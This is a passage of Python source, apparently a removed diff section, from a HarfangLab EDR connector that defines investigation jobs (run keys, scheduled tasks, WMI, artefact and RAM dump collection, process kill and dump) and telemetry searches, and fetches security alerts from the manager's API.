'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getPipes': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Pipe/', - 'title': 'Pipe list', - 'task_title': 'Review pipe list', - 'action': 'getPipeList', - 'ordering': 'name', - 'fields': [ - {'name': 'name', 'path': 'name', 'default': None} - ] - }, - 'getDrivers': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Driver/', - 'title': 'Loaded driver list', - 'task_title': 'Review loaded driver list', - 'action': 'getLoadedDriverList', - 'ordering': 'short_name', - 'fields': [ - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getPrefetches': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Prefetch/', - 'title': 'Prefetch list', - 'task_title': 'Review prefetch list', - 'action': 'getPrefetch', - 'ordering': '-last_executed', - 'fields': [ - {'name': 'executable name', - 'path': 'executable_name', 'default': None}, - {'name': 'last executed', 'path': 'last_executed', - 'default': None, 'transform': __get_first_element}, - ] - }, - 'getScheduledTasks': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/ScheduledTaskXML/', - 'title': 'Scheduled task list', - 'task_title': 'Review scheduled task list', - 'action': 'getScheduledTasks', - 'ordering': 'short_name', - 'fields': [ - {'name': 'name', 'path': 'short_name', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getRunKeys': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/RunKey/', - 'title': 'Run key list', - 'task_title': 'Review run key list', - 'action': 'getHives', - 'ordering': '-last_executed', - 'fields': [ - {'name': 'name', 'path': 'short_name', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getStartupFiles': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Startup/', - 'title': 'Startup file list', - 'task_title': 'Review startup file list', - 'action': 'getStartupFileList', - 'ordering': 'filename', - 'fields': [ - {'name': 'startup file name', - 'path': 'filename', 'default': None}, - {'name': 'startup file full path', - 'path': 'fullpathfilename', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getPersistence': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/PersistanceFile/', - 'title': 'Persistence list', - 'task_title': 'Review persistence list', - 'action': 'persistanceScanner', - 'ordering': 'short_name', - 'fields': [ - {'name': 'type', 'path': 'persistance_type', 'default': None}, - {'name': 'filename', 'path': 'binaryinfo.filename', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - ] - }, - 'getWMI': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Wmi/', - 'title': 'WMI list', - 'task_title': 'Review list', - 'action': 'getWMI', - 'ordering': 'filename', - 'fields': [ - {'name': 'filter to consumer type', - 'path': 'filtertoconsumertype', 'default': None}, - {'name': 'event filter name', - 'path': 'eventfiltername', 'default': None}, - {'name': 'event consumer name', - 'path': 'eventconsumername', 'default': None}, - {'name': 'event filter', 'path': 'eventfilter', 'default': None}, - {'name': 'consumer data', 'path': 'consumerdata', 'default': None}, - ] - }, - 'getNetworkShares': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/NetworkShare/', - 'title': 'Network share list', - 'task_title': 'Review network share list', - 'action': 'getNetworkShare', - 'ordering': 'name', - 'fields': [ - {'name': 'name', 'path': 'name', 'default': None}, - {'name': 'caption', 'path': 'caption', 'default': None}, - {'name': 'description', 'path': 'description', 'default': None}, - {'name': 'path', 'path': 'path', 'default': None}, - {'name': 'status', 'path': 'status', 'default': None}, - {'name': 'share type val', - 'path': 'sharetypeval', 'default': None}, - {'name': 'share type', 'path': 'sharetype', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - ] - }, - 'getSessions': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Session/', - 'title': 'Session list', - 'task_title': 'Review session list', - 'action': 'getSessions', - 'ordering': 'name', - 'fields': [ - {'name': 'logon id', 'path': 'logonid', 'default': None}, - {'name': 'authentication package', - 'path': 'authenticationpackage', 'default': None}, - {'name': 'logon type', 'path': 'logontype', 'default': None}, - {'name': 'logon type str', - 'path': 'logontypestr', 'default': None}, - {'name': 'session start time', - 'path': 'sessionstarttime', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - ] - }, - 'getArtifactMFT': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'MFT', - 'task_title': 'Analyze MFT', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': False, 'mft': True, - 'prefetch': False, 'usn': False, 'logs': False, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactHives': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'Hives', - 'task_title': 'Analyze Hives', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': True, 'evt': False, 'mft': False, - 'prefetch': False, 'usn': False, 'logs': False, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactEvtx': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'Windows event logs', - 'task_title': 'Analyze event logs', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': True, 'mft': False, - 'prefetch': False, 'usn': False, 'logs': False, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactLogs': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'Linux logs', - 'task_title': 'Analyze logs', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': False, 'mft': False, - 'prefetch': False, 'usn': False, 'logs': True, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactFilesystem': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'Linux filesystem', - 'task_title': 'Analyze filesystem', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': False, 'mft': False, - 'prefetch': False, 'usn': False, 'logs': False, 'fs': True}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactUSN': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'USN logs', - 'task_title': 'Analyze USN logs', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': False, 'mft': False, - 'prefetch': False, 'usn': True, 'logs': False, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactPrefetch': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'USN logs', - 'task_title': 'Analyze prefetches', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': False, 'evt': False, 'mft': False, - 'prefetch': True, 'usn': False, 'logs': False, 'fs': False}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactAll': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'All raw artifacts', - 'task_title': 'Analyze all raw artifacts', - 'action': 'collectRAWEvidences', - 'parameters': {'hives': True, 'evt': True, 'mft': True, - 'prefetch': True, 'usn': True, 'logs': True, 'fs': True}, - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'getArtifactRamdump': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'RAM Dump', - 'task_title': 'Analyze RAM dump', - 'action': 'memoryDumper', - 'ordering': 'name', - 'fields': [ - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'killProcess': { - 'request_api_endpoint': None, - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/job/Simple/', - 'title': 'Killed process', - 'task_title': 'Review process kill report', - 'action': 'knownProcessFinderKiller', - 'ordering': 'name', - 'fields': [ - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'date', 'path': 'date', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None} - ] - }, - 'dumpProcess': { - 'request_api_endpoint': None, - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/artefact/Artefact/', - 'title': 'Dumped process', - 'task_title': 'Analyze dumped process', - 'action': 'processDumper', - 'ordering': '-date', - 'fields': [ - {'name': 'message', 'path': 'msg', 'default': None}, - {'name': 'date', 'path': 'date', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'download_link', 'path': 'id', 'default': None, - 'transform': __generate_link_for_artifact, 'is_url': True, 'link_text': 'Download'} - ] - }, - } - - TELEMETRY_SEARCHES = { - 'searchHash': { - 'api_endpoint': '/api/data/telemetry/Processes/', - 'title': 'Hash search', - 'task_title': 'Review hash search in telemetry', - 'inputs': [ - {'name': 'hash', 'filter': 'hash', - 'transform': __get_hash_parameter, 'mandatory': True}, - {'name': 'process_name', 'filter': 'process_name'}, - {'name': 'image_name', 'filter': 'image_name'}, - {'name': 'limit', 'filter': 'limit'} - ], - 'fields': [ - {'name': 'name', 'path': 'name', 'default': None}, - {'name': 'creation date', - 'path': '@event_create_date', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'process name', 'path': 'process_name', 'default': None}, - {'name': 'image name', 'path': 'image_name', 'default': None}, - {'name': 'command line', 'path': 'commandline', 'default': None}, - {'name': 'integrity level', - 'path': 'integrity_level', 'default': None}, - {'name': 'parent image', 'path': 'parent_image', 'default': None}, - {'name': 'parent command line', - 'path': 'parent_commandline', 'default': None}, - {'name': 'username', 'path': 'username', 'default': None}, - {'name': 'signed', 'path': 'signed', 'default': None}, - {'name': 'signer', 'path': 'signature_info.signer_info.display_name', - 'default': None}, - {'name': 'md5', 'path': 'hashes.md5', 'default': None}, - {'name': 'sha1', 'path': 'hashes.sha1', 'default': None}, - {'name': 'sha256', 'path': 'hashes.sha256', 'default': None}, - {'name': 'process UUID', 'path': 'process_unique_id', 'default': None}, - {'name': 'agent id', 'path': 'agent.agentid', 'default': None} - ], - 'link': { - 'link_href': None, - 'transform': __generate_view_link_for_hash - } - }, - 'getBinary': { - 'api_endpoint': '/api/data/telemetry/Binary/', - 'title': 'Binary download', - 'task_title': 'Analyze binary', - 'inputs': [ - {'name': 'hash', 'filter': 'hash', - 'transform': __get_hash_parameter, 'mandatory': True} - ], - 'fields': [ - {'name': 'path', 'path': 'paths', 'default': None, - 'transform': __flatten_table}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'signed', 'path': 'signed', 'default': None}, - {'name': 'signer', 'path': 'signature_info.signer_info.display_name', - 'default': None}, - {'name': 'md5', 'path': 'hashes.md5', 'default': None}, - {'name': 'sha1', 'path': 'hashes.sha1', 'default': None}, - {'name': 'sha256', 'path': 'hashes.sha256', 'default': None}, - {'name': 'download_link', 'path': 'hashes.sha256', 'default': None, - 'transform': __generate_link_for_binary, 'is_url': True, 'link_text': 'Download'} - ] - }, - 'searchSourceIP': { - 'api_endpoint': '/api/data/telemetry/Network/', - 'title': 'IP search', - 'task_title': 'Review Source IP search in telemetry', - 'inputs': [ - {'name': 'ip', 'filter': 'saddr', - 'transform': __get_source_ip, 'mandatory': True}, - {'name': 'limit', 'filter': 'limit'} - ], - 'fields': [ - {'name': 'creation date', - 'path': '@event_create_date', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'image name', 'path': 'image_name', 'default': None}, - {'name': 'username', 'path': 'username', 'default': None}, - {'name': 'source address', 'path': 'saddr', 'default': None}, - {'name': 'source port', 'path': 'sport', 'default': None}, - {'name': 'destination address', - 'path': 'daddr', 'default': None}, - {'name': 'destination port', 'path': 'dport', 'default': None}, - {'name': 'direction', 'path': 'direction', 'default': None}, - ], - 'link': { - 'link_href': None, - 'transform': __generate_view_link_for_source_ip - } - }, - 'searchDestinationIP': { - 'api_endpoint': '/api/data/telemetry/Network/', - 'title': 'IP search', - 'task_title': 'Review Destination IP search in telemetry', - 'inputs': [ - {'name': 'ip', 'filter': 'daddr', - 'transform': __get_destination_ip, 'mandatory': True}, - {'name': 'limit', 'filter': 'limit'} - ], - 'fields': [ - {'name': 'creation date', - 'path': '@event_create_date', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'image name', 'path': 'image_name', 'default': None}, - {'name': 'username', 'path': 'username', 'default': None}, - {'name': 'source address', 'path': 'saddr', 'default': None}, - {'name': 'source port', 'path': 'sport', 'default': None}, - {'name': 'destination address', - 'path': 'daddr', 'default': None}, - {'name': 'destination port', 'path': 'dport', 'default': None}, - {'name': 'direction', 'path': 'direction', 'default': None}, - ], - 'link': { - 'link_href': None, - 'transform': __generate_view_link_for_destination_ip - } - }, - 'searchDriverByFileName': { - 'api_endpoint': '/api/data/telemetry/DriverLoad/', - 'title': 'Driver load search', - 'task_title': 'Review driver load search in telemetry', - 'inputs': [ - {'name': 'filename', 'filter': 'imagename', 'mandatory': True}, - {'name': 'limit', 'filter': 'limit'} - ], - 'fields': [ - {'name': 'loading time', 'path': '@timestamp', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'image name', 'path': 'imagename', 'default': None}, - {'name': 'image path', 'path': 'imagepath', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'signed', 'path': 'signed', 'default': None}, - {'name': 'signer', 'path': 'signature_info.signer_info.display_name', - 'default': None}, - {'name': 'md5', 'path': 'hashes.md5', 'default': None}, - {'name': 'sha1', 'path': 'hashes.sha1', 'default': None}, - {'name': 'sha256', 'path': 'hashes.sha256', 'default': None} - ] - }, - 'searchDriverByHash': { - 'api_endpoint': '/api/data/telemetry/DriverLoad/', - 'title': 'Driver load search', - 'task_title': 'Review driver load search in telemetry', - 'inputs': [ - {'name': 'hash', 'filter': 'hash', - 'transform': __get_hash_parameter, 'mandatory': True}, - {'name': 'limit', 'filter': 'limit'} - ], - 'fields': [ - {'name': 'loading time', 'path': '@timestamp', 'default': None}, - {'name': 'hostname', 'path': 'agent.hostname', 'default': None}, - {'name': 'image name', 'path': 'imagename', 'default': None}, - {'name': 'image path', 'path': 'imagepath', 'default': None}, - {'name': 'size', 'path': 'size', 'default': None}, - {'name': 'signed', 'path': 'signed', 'default': None}, - {'name': 'signer', 'path': 'signature_info.signer_info.display_name', - 'default': None}, - {'name': 'md5', 'path': 'hashes.md5', 'default': None}, - {'name': 'sha1', 'path': 'hashes.sha1', 'default': None}, - {'name': 'sha256', 'path': 'hashes.sha256', 'default': None} - ] - } - - } - - """ - Fetches security events from a HarfangLab EDR manager - - :type first_fetch: ``int`` - :param first_fetch: The number of days to look back for alerts - - :type alert_status: ``str`` - :param alert_status: Status of alerts to fetch ('ACTIVE' for alerts in the new, probable_false_positive or investigating statuses, 'CLOSED' for alerts in the closed or false_positive states, None for all alerts - - :type alert_type: ``str`` - :param alert_type: A comma-separated list of alert types (e.g. 'sigma,yara,hlai') or None to fetch all types - - :type min_severity: ``int`` - :param min_severity: The minimum severity of alerts to fetch ('Informational' or None for Informational and higher, 'Low' for Low and higher, 'Medium' for Medium and higer, 'High' for High and higher, 'Critical' for Critical) - - :type max_fetch: ``int`` - :param max_fetch: The maximum number of alerts to fetch (None to remove the limit) - - :type last_fetch: ``int`` - :param last_fetch: The timestamp in micro-seconds of the last fetch time - - :type delay: ``int`` - :param delay: Number of seconds back in the past for the upper limit of security event timestamps (keep a value of minimum 120 secondes) - - :type exclude_rules: ``List[str]`` - :param exclude_rules: The list of rule names to exclude (case insensitive) - - :return: A tuple with the last fetch time in micro-seconds since epoch and the list of security events - :rtype: ``(int,List[Any])`` - """ - - def fetch_security_events(self, first_fetch = None, alert_status = None, alert_type = None, min_severity = None, max_fetch = None, last_fetch = None, delay = 0, exclude_rules = None): - - url = f'{self.base_url}/api/data/alert/alert/Alert/' - last_fetch = None - max_results = None - days = 0 - excluded_rules = set() - - if exclude_rules: - excluded_rules = [x.lower() for x in exclude_rules] - - if first_fetch: - try: - days = int(first_fetch) - except Exception as e: - days = 0 - - first_fetch_time = int(datetime.timestamp( - datetime.now() - timedelta(days=days)) * 1000000) - - if not min_severity: - min_severity = HarfangLabConnector.SEVERITIES[0] - - if max_fetch: - try: - max_results = int(max_fetch) - except Exception as e: - max_results = None - - severity = ','.join(HarfangLabConnector.SEVERITIES[HarfangLabConnector.SEVERITIES.index(min_severity):]).lower() - - if last_fetch is None: - # if missing, use what provided via first_fetch_time - last_fetch = first_fetch_time - else: - # otherwise use the stored last fetch - try: - last_fetch = int(last_fetch) - except Exception as e: - last_fetch = first_fetch_time - - if alert_status == 'ACTIVE': - status = ['new', 'probable_false_positive', 'investigating'] - elif alert_status == 'CLOSED': - status = ['closed', 'false_positive'] - else: - status = None - - latest_created_time_us = int(last_fetch) - - incidents = [] - total_number_of_alerts = 0 - - date_min = datetime.fromtimestamp(latest_created_time_us / 1000000) - try: - delay = int(delay) - except Exception as e: - delay = 0 - date_max = datetime.fromtimestamp(datetime.timestamp(datetime.now() - timedelta(seconds=int(delay)))) - - cursor_min = date_min - cursor_max = date_max - - self.logger.debug(f'Getting events between {date_min.strftime("%Y-%m-%dT%H:%M:%SZ")} and {date_max.strftime("%Y-%m-%dT%H:%M:%SZ")}') - while cursor_min != cursor_max: - offset = 0 - while True: - args = { - 'ordering': '+alert_time', - 'level': severity, - 'limit': HarfangLabConnector.MAX_NUMBER_OF_ALERTS_PER_CALL, - 'offset': offset, - 'alert_time__gt': cursor_min.strftime('%Y-%m-%dT%H:%M:%SZ'), - 'alert_time__lte': cursor_max.strftime('%Y-%m-%dT%H:%M:%SZ') - } # type: Dict[str,Any] - - if status: - args['status'] = ','.join(status) - - if alert_type: - args['alert_type'] = alert_type - - try: - u=f'{url}'+get_params(args) - response = self.hlSession.get(u) - response.raise_for_status() - results = response.json() - except Exception as e: - raise Exception(f'Failed to fetch security events: {str(e)}') - - #print( - # f'Getting events between {date_min.strftime("%Y-%m-%dT%H:%M:%SZ")} and {date_max.strftime("%Y-%m-%dT%H:%M:%SZ")}: {results["count"]}') - - if results['count'] >= HarfangLabConnector.MAX_NUMBER_OF_ITEMS: - cursor_max = cursor_min + (cursor_max - cursor_min) / 2 - break - - if 'count' in results and 'results' in results: - self.logger.debug(f'Fetched {total_number_of_alerts} / {results["count"]} events') - - for alert in results['results']: - - if alert.get('rule_name').lower() in excluded_rules: - continue - - alert_id = alert.get('id', None) - alert['incident_link'] = f'{self.base_url}/security-event/{alert_id}/summary' - incident = { - 'name': alert.get('rule_name', None), - 'occurred': alert.get('alert_time', None), - 'severity': HarfangLabConnector.SEVERITIES.index(alert.get('level', '').capitalize()) + 1, - 'alert': alert - } - - incidents.append(incident) - - total_number_of_alerts += 1 - if max_results and total_number_of_alerts >= max_results: - break - - offset += len(results['results']) - if results['count'] == 0 or not results['next'] or (max_results and total_number_of_alerts >= max_results): - cursor_min = cursor_max - cursor_max = date_max - break - - if max_results and total_number_of_alerts >= max_results: - break - - last_fetch = int(datetime.timestamp(date_max)*1000000) - return (last_fetch, incidents) - - """ - Get a security event by ID - - :type event_id: ``str`` - :param event_id: The agent security event ID - """ - def get_event_by_id(self, event_id): - try: - return self.hlSession.get( - url=f'{self.base_url}/api/data/alert/alert/Alert/{event_id}/details/' - ).json() - - except Exception as e: - raise Exception(f'Failed to get security event information: {str(e)}') - - - """ - Search an endpoint in HarfangLab EDR manager - - :type hostname: ``str`` - :param hostname: The agent hostname - - :type ostype: ``str`` - :param ostype: The agent platform ("windows", "linux", "macos") - - :type status: ``str`` - :param status: The agent status ("online", "offline") - - :type offset: ``Integer`` - :param offset: The search offset - - :type limit: ``Integer`` - :param limit: The search total number of records to fetch per call - - :type fields: ``List[str]`` - :param fields: The list of fields to provide in the output - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :return: The list of searched endpoints - :rtype: ``Dict[str,Any]`` - """ - def search_endpoint(self, hostname=None, ostype=None, status=None, offset=0, limit=10, fields=None, format='markdown'): - - data = { - 'hostname': hostname, - 'ostype': ostype, - 'status': status, - 'offset': offset, - 'limit': limit - } - - try: - result = {} - results = self.hlSession.get( - url=f'{self.base_url}/api/data/endpoint/Agent/', - params=data - ).json()['results'] - - result['message'] = 'OK' - result['output'] = results - result['count'] = len(results) - - result['markdown'] = get_markdown_from_table( - None, results, headers=fields) - - if format == 'html': - result['html'] = markdown.markdown(result['markdown'], extensions=['tables']) - del (result['markdown']) - - return result - - except Exception as e: - raise Exception(f'Failed to search endpoint: {str(e)}') - - def search_telemetry(self, service_name, args, format='markdown'): - """ - Search in HarfangLab telemetry and returns a markdown table with the search results - - :type service_name: ``str`` - :param service_name: The name of the telemetry search service ('searchHash', 'getBinary', 'searchSourceIP', 'searchDestinationIP', 'searchDriverByFileName', 'searchDriverByHash') - - :type args: ``Dict[str, str]`` - :param args: The arguments for the telemetry search (ip, hash, filename...) - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :return: A dict with the results with the following keys: 'message' (message associated to the operation), 'output' (the JSON table with the results), 'markdown' (the markdown table). - :rtype: ``Dict[str,Any]`` - """ - - result = {} - result['message'] = 'Failed' - result['markdown'] = '' - serv = None - if service_name in HarfangLabConnector.TELEMETRY_SEARCHES: - serv = HarfangLabConnector.TELEMETRY_SEARCHES[service_name] - else: - return - - url = f'{self.base_url}{serv["api_endpoint"]}' - params = {} - - for field in serv['inputs']: - func = field.get('transform', None) - data = args.get(field['name'], None) - mandatory = field.get('mandatory', False) - #if not data and mandatory: - # raise Exception( - # f'Mismatch between the observable type and what the responder expects ({field["name"]})') - if func: - (f, v) = func(self, data) - params[f] = v - elif data: - params[field['filter']] = data - - try: - response = self.hlSession.get(url=url, params=params) - response.raise_for_status() - except Exception as e: - raise Exception(f'Failed to search in telemetry %s' % (str(e))) - - response = response.json() - output = [] - url_keys = {} - count = response['count'] - for x in response['results']: - res = {} - for f in serv['fields']: - k = f['name'] - if 'is_url' in f: - url_keys[f['name']] = f.get('link_text', None) - tokens = f['path'].split('.') - v = x - for t in tokens: - if v: - v = v.get(t, None) - else: - v = f['default'] - func = None - if 'transform' in f.keys(): - func = f.get('transform') - v = func(self, v) - res[k] = v - - output.append(res) - - link = None - if 'link' in serv: - if 'transform' in serv['link'].keys(): - func = serv['link'].get('transform') - if func: - link = func(self, params) - if not link: - link = serv.get('link',{}).get('link_href') - - result['search_type'] = service_name - result['args'] = args - result['message'] = 'OK' - result['title'] = serv['title'] - result['output'] = output - result['count'] = count - result['link'] = link - - - headers = [] - for h in serv['fields']: - headers.append(h['name']) - - result['markdown'] += f'### {serv["title"]}\n\n' - result['markdown'] += f'#### Search details\n\n' - - search_metadata = args.copy() - search_metadata['Search Type'] = service_name - search_metadata['Total number of hits'] = count - search_metadata['Investigation link'] = link - - result['markdown'] += get_markdown_from_table( - None, search_metadata, headers=search_metadata.keys()) - result['markdown'] += f'#### Results (fetched {len(output)}/{count} entries)\n\n' - result['markdown'] += get_markdown_from_table( - None, output, headers=headers, url_keys=url_keys) - - if format == 'html': - result['html'] = markdown.markdown(result['markdown'], extensions=['tables']) - del(result['markdown']) - - return result - - def search_multiple_iocs_in_telemetry(self, iocs, limit, format='markdown', search_types = None): - """ - Search multiple IOCs in HarfangLab telemetry and returns a markdown table with the search results - - :type iocs: ``List[Dict[str,str]]`` - :param iocs: The IOCs to search in the following format [{'type': 'md5', value: '1234567890ABCDEF1234567890ABCDEF'}, ...] (ip, hash, filename...) - - :type limit: ``Integer`` - :param limit: Limits the number of hit results for each IOC to this number. - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :type search_types: ``Set[Str]`` - :param search_types: Indicates which types of search to perform. - - :return: A dict with the results with the following keys: 'message' (message associated to the operation), 'output' (the JSON table with the results), 'markdown' (the markdown table). - :rtype: ``Dict[str,Any]`` - """ - - url_keys = {} - results = {} - output = [] - exception_count = 0 - success_count = 0 - results['output'] = [] - for ioc in iocs: - for search_type in search_types: - try: - res = None - - if ioc.get('type')[0:2] == 'ip' and search_type in ['searchSourceIP', 'searchDestinationIP']: - res = self.search_telemetry(search_type, {'ip': ioc.get('value'), 'limit': limit}) - elif ioc.get('type') in 